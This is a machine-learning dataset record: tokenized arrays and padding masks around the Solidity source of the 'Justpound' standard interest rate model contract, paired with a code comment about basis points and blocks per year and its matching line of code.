0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
5320,
5912,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
7860,
6275,
13,
1071,
1338,
5869,
1887,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
24899,
2080,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
203,
3639,
324,
26488,
63,
67,
2080,
65,
273,
324,
26488,
63,
67,
2080,
8009,
1717,
24899,
7860,
6275,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
7860,
6275,
1769,
203,
203,
3639,
4765,
1887,
18,
265,
7731,
5912,
24899,
2080,
16,
389,
7860,
6275,
1769,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "./Exponential.sol";
import "./ErrorReporter.sol";
import "./CarefulMath.sol";
import "./InterestRateModel.sol";
/**
* @title The Justpound Standard Interest Rate Model
* @author Justpound
* @notice See Section 2.4 of the Justpound Whitepaper
*/
contract StandardInterestRateModel is Exponential {
uint constant oneMinusSpreadBasisPoints = 9000;
uint constant blocksPerYear = 2102400;
uint constant mantissaFivePercent = 5 * 10**16;
enum IRError {
NO_ERROR,
FAILED_TO_ADD_CASH_PLUS_BORROWS,
FAILED_TO_GET_EXP,
FAILED_TO_MUL_PRODUCT_TIMES_BORROW_RATE
}
/*
* @dev Calculates the utilization rate (borrows / (cash + borrows)) as an Exp
*/
function getUtilizationRate(uint cash, uint borrows) pure internal returns (IRError, Exp memory) {
if (borrows == 0) {
// Utilization rate is zero when there's no borrows
return (IRError.NO_ERROR, Exp({mantissa: 0}));
}
(Error err0, uint cashPlusBorrows) = add(cash, borrows);
if (err0 != Error.NO_ERROR) {
return (IRError.FAILED_TO_ADD_CASH_PLUS_BORROWS, Exp({mantissa: 0}));
}
(Error err1, Exp memory utilizationRate) = getExp(borrows, cashPlusBorrows);
if (err1 != Error.NO_ERROR) {
return (IRError.FAILED_TO_GET_EXP, Exp({mantissa: 0}));
}
return (IRError.NO_ERROR, utilizationRate);
}
/*
* @dev Calculates the utilization and borrow rates for use by get{Supply,Borrow}Rate functions
*/
function getUtilizationAndAnnualBorrowRate(uint cash, uint borrows) pure internal returns (IRError, Exp memory, Exp memory) {
(IRError err0, Exp memory utilizationRate) = getUtilizationRate(cash, borrows);
if (err0 != IRError.NO_ERROR) {
return (err0, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Borrow Rate is 5% + UtilizationRate * 45%
// 45% of utilizationRate, is `rate * 45 / 100`
(Error err1, Exp memory utilizationRateMuled) = mulScalar(utilizationRate, 45);
// `mulScalar` only overflows when the product is >= 2^256.
// utilizationRate is a real number on the interval [0,1], which means that
// utilizationRate.mantissa is in the interval [0e18,1e18], which means that 45 times
// that is in the interval [0e18,45e18]. That interval has no intersection with 2^256, and therefore
// this can never overflow. As such, we assert.
assert(err1 == Error.NO_ERROR);
(Error err2, Exp memory utilizationRateScaled) = divScalar(utilizationRateMuled, 100);
// 100 is a constant, and therefore cannot be zero, which is the only error case of divScalar.
assert(err2 == Error.NO_ERROR);
// Add the 5% for (5% + 45% * Ua)
(Error err3, Exp memory annualBorrowRate) = addExp(utilizationRateScaled, Exp({mantissa: mantissaFivePercent}));
// `addExp` only fails when the addition of mantissas overflow.
// As per above, utilizationRateMuled is capped at 45e18,
// and utilizationRateScaled is capped at 4.5e17. mantissaFivePercent = 0.5e17, and thus the addition
// is capped at 5e17, which is less than 2^256.
assert(err3 == Error.NO_ERROR);
return (IRError.NO_ERROR, utilizationRate, annualBorrowRate);
}
/**
* @notice Gets the current supply interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param _asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the supply interest rate per block scaled by 10e18
*/
function getSupplyRate(address _asset, uint cash, uint borrows) public view returns (uint, uint) {
_asset; // pragma ignore unused argument
(IRError err0, Exp memory utilizationRate0, Exp memory annualBorrowRate) = getUtilizationAndAnnualBorrowRate(cash, borrows);
if (err0 != IRError.NO_ERROR) {
return (uint(err0), 0);
}
// We're going to multiply the utilization rate by the spread's numerator
(Error err1, Exp memory utilizationRate1) = mulScalar(utilizationRate0, oneMinusSpreadBasisPoints);
// mulScalar only overflows when product is greater than or equal to 2^256.
// utilization rate's mantissa is a number between [0e18,1e18]. That means that
// utilizationRate1 is a value between [0e18,9e21]. This is strictly less than 2^256.
assert(err1 == Error.NO_ERROR);
// Next multiply this product times the borrow rate
(Error err2, Exp memory supplyRate0) = mulExp(utilizationRate1, annualBorrowRate);
// If the product of the mantissas for mulExp are both less than 2^256,
// then this operation will never fail. TODO: Verify.
// We know that borrow rate is in the interval [0, 4e17] from above.
// We know that utilizationRate1 is in the interval [0, 9e21] from directly above.
// As such, the multiplication is in the interval of [0, 3.6e39]. This is strictly
// less than 2^256 (which is about 10e77).
assert(err2 == Error.NO_ERROR);
// And then divide down by the spread's denominator (basis points divisor)
// as well as by blocks per year.
(Error err3, Exp memory supplyRate1) = divScalar(supplyRate0, 10000 * blocksPerYear); // basis points * blocks per year
// divScalar only fails when divisor is zero. This is clearly not the case.
assert(err3 == Error.NO_ERROR);
// Note: mantissa is the rate scaled 1e18, which matches the expected result
return (uint(IRError.NO_ERROR), supplyRate1.mantissa);
}
/**
* @notice Gets the current borrow interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param _asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the borrow interest rate per block scaled by 10e18
*/
function getBorrowRate(address _asset, uint cash, uint borrows) public view returns (uint, uint) {
_asset; // pragma ignore unused argument
(IRError err0, Exp memory _utilizationRate, Exp memory annualBorrowRate) = getUtilizationAndAnnualBorrowRate(cash, borrows);
if (err0 != IRError.NO_ERROR) {
return (uint(err0), 0);
}
// And then divide down by blocks per year.
(Error err1, Exp memory borrowRate) = divScalar(annualBorrowRate, blocksPerYear); // basis points * blocks per year
// divScalar only fails when divisor is zero. This is clearly not the case.
assert(err1 == Error.NO_ERROR);
_utilizationRate; // pragma ignore unused variable
// Note: mantissa is the rate scaled 1e18, which matches the expected result
return (uint(IRError.NO_ERROR), borrowRate.mantissa);
}
}
|
basis points * blocks per year
|
(Error err3, Exp memory supplyRate1) = divScalar(supplyRate0, 10000 * blocksPerYear);
| 13,010,852 |
[
1,
4625,
348,
7953,
560,
30,
225,
10853,
3143,
380,
4398,
1534,
3286,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
261,
668,
393,
23,
16,
7784,
3778,
14467,
4727,
21,
13,
273,
3739,
13639,
12,
2859,
1283,
4727,
20,
16,
12619,
380,
4398,
2173,
5593,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
